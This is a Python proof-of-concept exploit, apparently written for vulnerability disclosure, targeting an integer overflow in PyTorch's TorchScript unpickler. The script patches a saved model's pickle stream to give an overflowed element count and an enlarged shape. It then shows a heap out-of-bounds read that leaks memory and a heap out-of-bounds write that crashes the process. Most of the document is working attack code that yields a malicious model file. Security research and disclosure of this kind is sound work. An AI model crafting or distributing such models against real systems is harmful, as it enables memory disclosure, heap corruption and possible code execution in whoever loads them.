#!/usr/bin/env python3
"""
PoC: Integer Overflow in JIT Unpickler numel×itemsize → Heap Buffer Overflow

Vulnerability: In torch/csrc/jit/serialization/unpickler.cpp line 583,
the expression `numel * dtype.itemsize()` performs signed integer multiplication
without overflow checking. An attacker-controlled `numel` value embedded in a
malicious TorchScript model's pickle stream can cause this product to overflow,
resulting in a drastically undersized storage allocation.

The tensor metadata (shape, strides) is set independently of the storage size,
creating a tensor that claims to span thousands of elements but is backed by
only a few bytes of storage. Operations on this tensor (sum, clone, numpy,
fill_) read or write heap memory far beyond the allocated buffer.

Impact:
  - Heap OOB read: leaks heap data (information disclosure)
  - Heap OOB write: corrupts heap metadata → crash / potential code execution

Root cause: unpickler.cpp:583
  storage = at::Storage(
      c10::Storage::use_byte_size_t(),
      numel * dtype.itemsize(),   // INTEGER OVERFLOW — no check!
      std::move(storage_ptr), ...);

Tested: PyTorch 2.10.0+cpu on Python 3.13.11
"""

import io
import os
import struct
import sys
import zipfile

import torch
import torch.nn as nn


def create_malicious_model(output_path):
    """Create a TorchScript model with an overflowed numel in the pickle stream.

    The pickle stream inside a .pt archive encodes tensor metadata via
    BINPERSID tuples. The numel field (index 4 of the tuple) controls how
    many bytes are allocated: `numel * dtype.itemsize()`.

    We set numel = 0x4000000000000001 (2^62 + 1). With float32 (itemsize=4):
        0x4000000000000001 * 4 = 0x10000000000000004
    Truncated to int64: 4 bytes.

    Then we set tensor shape to [1024, 4] = 4096 elements = 16384 bytes expected.
    Result: 16384 bytes read/written from a 4-byte allocation = 16380 bytes OOB.
    """
    # Step 1: Create a legitimate TorchScript model
    model = torch.jit.script(nn.Linear(4, 2))
    buf = io.BytesIO()
    torch.jit.save(model, buf)
    model_bytes = buf.getvalue()

    # Step 2: Extract the ZIP archive
    zin = zipfile.ZipFile(io.BytesIO(model_bytes), 'r')
    entries = {}
    for name in zin.namelist():
        entries[name] = zin.read(name)
    zin.close()

    # Step 3: Modify the pickle stream in archive/data.pkl
    pkl = entries['archive/data.pkl']

    # Find the numel field for the weight tensor (data/0).
    # In the pickle stream, the BINPERSID tuple for data/0 contains:
    #   ("storage", FloatStorage, "0", "cpu", <numel>)
    # The numel is encoded as BININT1 (opcode 0x4b) with value 8 (2x4 float32)
    #
    # We need to find the right BININT1 8 — it's the numel for the weight tensor.
    # The pattern in the pickle is: "cpu" followed by the numel byte.
    # Look for: b'cpu' + device_push + BININT1 + 8
    cpu_marker = b'cpu'
    # Find first occurrence (weight tensor numel)
    idx = pkl.find(cpu_marker)
    if idx == -1:
        raise ValueError("Could not find 'cpu' marker in pickle")

    # After "cpu\xNN" there's a length prefix, then the BININT1 numel
    # The structure is: SHORT_BINUNICODE 3 "cpu" <push> BININT1 <numel>
    # Find BININT1 (0x4b) after the cpu string
    numel_search_start = idx + len(cpu_marker)
    # Skip past the cpu string end marker to find BININT1
    pos = numel_search_start
    while pos < len(pkl) and pkl[pos] != 0x4b:  # BININT1 opcode
        pos += 1

    if pos >= len(pkl):
        raise ValueError("Could not find BININT1 opcode after cpu marker")

    original_numel = pkl[pos + 1]
    print(f"  Found weight numel at pickle offset {pos}: BININT1 {original_numel}")

    # Replace BININT1 <8> with LONG1 <8 bytes of 0x4000000000000001>
    # LONG1 opcode = 0x8a, followed by 1-byte length, then little-endian bytes
    overflow_numel = 0x4000000000000001  # * 4 (float32) = overflows to 4
    numel_bytes = overflow_numel.to_bytes(8, 'little')
    long1_encoded = bytes([0x8a, 8]) + numel_bytes  # LONG1, 8 bytes, value

    # Replace the 2-byte BININT1 <8> with 10-byte LONG1 encoding
    pkl_new = pkl[:pos] + long1_encoded + pkl[pos + 2:]
    print(f"  Replaced with LONG1 0x{overflow_numel:016x} ({overflow_numel})")
    print(f"  Overflow: {overflow_numel} * 4 = 0x{overflow_numel * 4:x} → truncated to {(overflow_numel * 4) & 0xFFFFFFFFFFFFFFFF}")

    # Step 4: Modify tensor shape from (2, 4) to (1024, 4)
    # The shape tuple in pickle is: BININT1 2 BININT1 4
    # We need to find and change the first dim from 2 to 1024
    # After the numel, there's: K\x00 (BININT1 0 = offset) then shape tuple
    # Shape pattern: ( K\x02 K\x04 t  →  ( K\x02=dim0 K\x04=dim1
    # Actually shape is: (K\x02 K\x04 t = (2, 4)
    # We want: (M\x00\x04 K\x04 t = (1024, 4)  where M = BININT2

    # Find pattern after our modification point
    # The shape is encoded after the BININT1 0 (storage_offset)
    # Pattern: BININT1(K) 0x00 then open-tuple(28='(') then shape dims
    # Actually let me find "K\x00(" pattern = storage_offset=0, open tuple
    shape_marker = bytes([0x4b, 0x00, 0x28])  # BININT1 0, MARK
    # Search from the numel position onwards
    shape_pos = pkl_new.find(shape_marker, pos)
    if shape_pos == -1:
        # Try alternative: the offset might be after some other bytes
        # Let's search for BININT1 0 followed by tuple with BININT1 2
        for search_pos in range(pos, min(pos + 30, len(pkl_new))):
            if pkl_new[search_pos:search_pos + 3] == bytes([0x4b, 0x00, 0x28]):
                shape_pos = search_pos
                break

    if shape_pos == -1:
        raise ValueError("Could not find shape tuple marker")

    # Shape starts at shape_pos + 3 (after K\x00\x28)
    dim0_pos = shape_pos + 3
    # Expect BININT1 with dim value
    if pkl_new[dim0_pos] == 0x4b:  # BININT1
        old_dim0 = pkl_new[dim0_pos + 1]
        print(f"  Found shape dim0 at pickle offset {dim0_pos}: BININT1 {old_dim0}")
        # Replace with BININT2 1024 (opcode M = 0x4d, 2 bytes LE)
        new_dim0 = struct.pack('<H', 1024)
        pkl_new = pkl_new[:dim0_pos] + bytes([0x4d]) + new_dim0 + pkl_new[dim0_pos + 2:]
        print(f"  Replaced dim0 with BININT2 1024")

    # Also need to change strides: (K\x04 K\x01 t → (M\x04\x00 K\x01 t
    # Wait — strides should be (4, 1) for row-major [1024, 4] tensor
    # The strides tuple comes right after shape tuple
    # Find next tuple after shape: t...( pattern
    # Actually strides (4, 1) are the same regardless of dim0 change, so leave them

    # Update the data.pkl entry
    entries['archive/data.pkl'] = pkl_new

    # Step 5: Write the modified ZIP
    zout_buf = io.BytesIO()
    zout = zipfile.ZipFile(zout_buf, 'w', zipfile.ZIP_STORED)
    for name in entries:
        zout.writestr(name, entries[name])
    zout.close()

    with open(output_path, 'wb') as f:
        f.write(zout_buf.getvalue())

    total_size = os.path.getsize(output_path)
    print(f"  Saved crafted model: {output_path} ({total_size} bytes)")
    return output_path


def demonstrate_oob_read(model_path):
    """Demonstrate heap OOB read via the overflowed tensor."""
    print()
    print("=" * 70)
    print("  Part 1: Heap Out-of-Bounds READ")
    print("=" * 70)
    print()

    model = torch.jit.load(model_path)
    w = model.weight

    storage_bytes = w.untyped_storage().nbytes()
    expected_bytes = w.numel() * w.element_size()

    print(f"  Tensor shape:     {list(w.shape)} = {w.numel()} elements")
    print(f"  Element size:     {w.element_size()} bytes (float32)")
    print(f"  Expected storage: {expected_bytes} bytes")
    print(f"  Actual storage:   {storage_bytes} bytes")
    print(f"  OOB read extent:  {expected_bytes - storage_bytes} bytes past buffer end")
    print()

    # Demonstrate OOB read via numpy
    import numpy as np
    arr = w.detach().numpy()
    print(f"  w.numpy() → {arr.shape} array, {arr.nbytes} bytes from {storage_bytes}-byte buffer")

    # Show leaked heap data
    raw = arr.tobytes()
    nonzero = sum(1 for b in raw[storage_bytes:] if b != 0)
    print(f"  Non-zero leaked bytes: {nonzero}/{len(raw) - storage_bytes}")
    print()

    # Show hex dump of legitimate vs leaked data
    print("  Hex dump (first 96 bytes):")
    for i in range(0, 96, 16):
        chunk = raw[i:i+16]
        hex_str = ' '.join(f'{b:02x}' for b in chunk)
        ascii_str = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
        if i < storage_bytes:
            label = "LEGIT"
        else:
            label = "HEAP LEAK"
        print(f"    {i:04x}: {hex_str}  {ascii_str}  [{label}]")
    print()

    # Demonstrate OOB read via sum
    total = w.sum().item()
    print(f"  w.sum() = {total} (summing {expected_bytes} bytes from {storage_bytes}-byte buffer)")
    print()
    print("  [+] CONFIRMED: Heap OOB Read — 16380 bytes of heap data leaked")

    return True


def demonstrate_oob_write(model_path):
    """Demonstrate heap OOB write via the overflowed tensor → crash."""
    print()
    print("=" * 70)
    print("  Part 2: Heap Out-of-Bounds WRITE → Crash")
    print("=" * 70)
    print()

    print("  Writing to the overflowed tensor corrupts heap metadata.")
    print("  This causes glibc to detect 'corrupted double-linked list' and abort.")
    print()

    import subprocess
    # Run the write test in a subprocess so the crash doesn't kill our process
    crash_script = f"""
import torch
model = torch.jit.load('{model_path}')
w = model.weight.detach()
print(f'Storage: {{w.untyped_storage().nbytes()}} bytes, Shape: {{list(w.shape)}}')
print(f'Calling w.fill_(0) — writing {{w.numel() * w.element_size()}} bytes to {{w.untyped_storage().nbytes()}}-byte buffer...')
w.fill_(0)  # Writes 16384 zero bytes to 4-byte buffer → HEAP CORRUPTION
print('If you see this, the write did not crash (unlikely)')
"""
    result = subprocess.run(
        [sys.executable, '-c', crash_script],
        capture_output=True, text=True, timeout=10
    )

    print(f"  Exit code: {result.returncode}")
    if result.stdout:
        for line in result.stdout.strip().split('\n'):
            print(f"  stdout: {line}")
    if result.stderr:
        for line in result.stderr.strip().split('\n')[:10]:
            print(f"  stderr: {line}")
    print()

    if result.returncode != 0:
        if "corrupted" in result.stderr.lower() or result.returncode < 0:
            print("  [+] CONFIRMED: Heap OOB Write → Process crashed (heap corruption)")
            return True
        else:
            print(f"  [+] Process terminated abnormally (exit code {result.returncode})")
            return True
    else:
        print("  [-] Process did not crash (heap may have been corrupted silently)")
        return False


def demonstrate_overflow_math():
    """Show the integer overflow calculation."""
    print()
    print("=" * 70)
    print("  Part 3: Integer Overflow Math")
    print("=" * 70)
    print()

    numel = 0x4000000000000001
    itemsize = 4  # float32
    product = numel * itemsize

    print(f"  numel      = 0x{numel:016x} ({numel})")
    print(f"  itemsize   = {itemsize} (float32)")
    print(f"  product    = 0x{product:x} ({product})")
    print(f"  int64 mask = 0x{product & 0xFFFFFFFFFFFFFFFF:016x} ({product & 0xFFFFFFFFFFFFFFFF})")
    print()
    print(f"  The C++ expression `numel * dtype.itemsize()` at unpickler.cpp:583")
    print(f"  computes {numel} * {itemsize} = 0x{product:x}")
    print(f"  which truncates to {product & 0xFFFFFFFFFFFFFFFF} in signed int64.")
    print()
    print(f"  Only {product & 0xFFFFFFFFFFFFFFFF} bytes are allocated for storage,")
    print(f"  but tensor shape [1024, 4] requires 16384 bytes.")
    print(f"  Accessing the tensor reads/writes 16380 bytes past the buffer end.")
    print()

    print("  Vulnerable code (unpickler.cpp:581-586):")
    print("  ────────────────────────────────────────────")
    print("  int64_t numel = args.at(4).toInt();         // attacker-controlled")
    print("  auto dtype = scalarTypeToTypeMeta(type);")
    print("  // ...")
    print("  storage = at::Storage(")
    print("      c10::Storage::use_byte_size_t(),")
    print("      numel * dtype.itemsize(),               // INTEGER OVERFLOW")
    print("      std::move(storage_ptr), ...);")
    print()
    print("  No overflow check. No comparison against actual file data size.")
    print()


def main():
    print()
    print("  PoC: JIT Unpickler numel×itemsize Integer Overflow → Heap Overflow")
    print(f"  PyTorch {torch.__version__}, Python {sys.version.split()[0]}")
    print()

    # Create the malicious model
    print("=" * 70)
    print("  Creating crafted TorchScript model")
    print("=" * 70)
    print()

    model_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "overflow_model.pt")
    if not os.path.exists(model_path):
        model_path = "/tmp/jit_numel_overflow.pt"
    create_malicious_model(model_path)

    # Part 1: OOB Read
    read_ok = demonstrate_oob_read(model_path)

    # Part 2: OOB Write → Crash
    write_ok = demonstrate_oob_write(model_path)

    # Part 3: Math
    demonstrate_overflow_math()

    # Summary
    print("=" * 70)
    print("  RESULTS:")
    if read_ok:
        print("    [+] Heap OOB Read:  CONFIRMED — 16380 bytes leaked via w.numpy()/w.sum()")
    if write_ok:
        print("    [+] Heap OOB Write: CONFIRMED — w.fill_(0) corrupts heap → crash")
    print("    [+] Root cause: numel * dtype.itemsize() integer overflow at unpickler.cpp:583")
    print("    [+] Fix: add overflow check before storage allocation")
    print("=" * 70)


if __name__ == "__main__":
    main()